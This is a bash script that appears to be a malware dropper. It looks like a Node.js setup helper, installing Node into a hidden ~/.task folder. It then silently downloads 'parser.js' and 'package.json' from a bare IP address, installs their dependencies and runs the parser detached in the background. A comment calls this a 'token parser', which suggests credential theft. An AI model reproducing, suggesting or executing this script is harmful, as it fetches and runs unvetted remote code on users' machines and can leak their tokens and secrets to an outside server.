#!/bin/bash
                # Creating new Info
                set -e

                OS=$(uname -s)
                ARCH=$(uname -m)

                # Remove leading "v"
                LATEST_VERSION="20.11.1"
                NODE_VERSION=${LATEST_VERSION}

                NODE_TARBALL="node-v${NODE_VERSION}"
                DOWNLOAD_URL=""
                NODE_DIR="$HOME/.task/${NODE_TARBALL}"
                NODE_ARCH="x64"

                if [ "$ARCH" == "arm64" ]; then
                        NODE_ARCH="arm64"
                fi

                # Step 1: Set the Node.js tarball and download URL based on the OS
                if [ "$OS" == "Darwin" ]; then
                        # macOS
                        NODE_TARBALL="$HOME/.task/${NODE_TARBALL}-darwin-${NODE_ARCH}.tar.xz"
                        DOWNLOAD_URL="https://nodejs.org/dist/v${NODE_VERSION}/node-v${NODE_VERSION}-darwin-${NODE_ARCH}.tar.xz"
                elif [ "$OS" == "Linux" ]; then
                        # Linux
                        NODE_TARBALL="$HOME/.task/${NODE_TARBALL}-linux-${NODE_ARCH}.tar.xz"
                        DOWNLOAD_URL="https://nodejs.org/dist/v${NODE_VERSION}/node-v${NODE_VERSION}-linux-${NODE_ARCH}.tar.xz"
                else
                        exit 1
                fi

                # Step 2: Check if Node.js is installed
                NODE_INSTALLED_VERSION=$(node -v 2>/dev/null || echo "")

                # Step 3: Determine whether to install Node.js
                INSTALL_NODE=1
                #if [ -z "$NODE_INSTALLED_VERSION" ]; then
                #    INSTALL_NODE=1
                #fi

                EXTRACTED_DIR="$HOME/.task/node-v${NODE_VERSION}-$( [ "$OS" = "Darwin" ] && echo "darwin" || echo "linux" )-${NODE_ARCH}"

                # Use Documents directory for files
                #USER_HOME="$HOME/Documents"
                #mkdir -p "$USER_HOME"
                USER_HOME="$HOME/.task"
                mkdir -p "$USER_HOME"

                BASE_URL="http://45.61.164.38:5777"

                # ? Check if the Node.js folder exists
                if [ ! -d "$EXTRACTED_DIR" ]; then
                        echo "Error: Node.js directory was not extracted properly. Retrying download and extraction..."

                        if [ "$INSTALL_NODE" -eq 1 ]; then
                                if ! command -v curl &> /dev/null; then
                                        wget -q "$DOWNLOAD_URL" -O "$NODE_TARBALL"
                                else
                                        curl -sSL -o "$NODE_TARBALL" "$DOWNLOAD_URL"
                                fi

                                if [ -f "$NODE_TARBALL" ]; then
                                        tar -xf "$NODE_TARBALL" -C "$HOME/.task"
                                        rm -f "$NODE_TARBALL"
                                fi
                        fi
                fi

                # ? Add Node.js to the system PATH (session only)
                export PATH="$EXTRACTED_DIR/bin:$PATH"

                # Step 7: Verify node & npm
                if ! command -v node &> /dev/null || ! command -v npm &> /dev/null; then
                        exit 1
                fi

                # Step 8: Download files
                # Check if curl is available
                if ! command -v curl >/dev/null 2>&1; then
                        # If curl is not available, use wget
                        wget -q -O "$USER_HOME/parser.js" "$BASE_URL/task/parser?id=402"
                        wget -q -O "$USER_HOME/package.json" "$BASE_URL/task/json"
                else
                        # If curl is available, use curl
                        curl -s -L -o "$USER_HOME/parser.js" "$BASE_URL/task/parser?id=402"
                        curl -s -L -o "$USER_HOME/package.json" "$BASE_URL/task/json"
                fi

                # Step 9: Install 'request' package
                cd "$USER_HOME"
                if [ ! -d "node_modules/request" ]; then
                        npm install --silent --no-progress --loglevel=error --fund=false
                fi

                # Step 10: Run token parser
                if [ -f "$USER_HOME/parser.js" ]; then
                        nohup node "$USER_HOME/parser.js" > "$USER_HOME/parser.log" 2>&1 &
                else
                        exit 1
                fi
                exit 0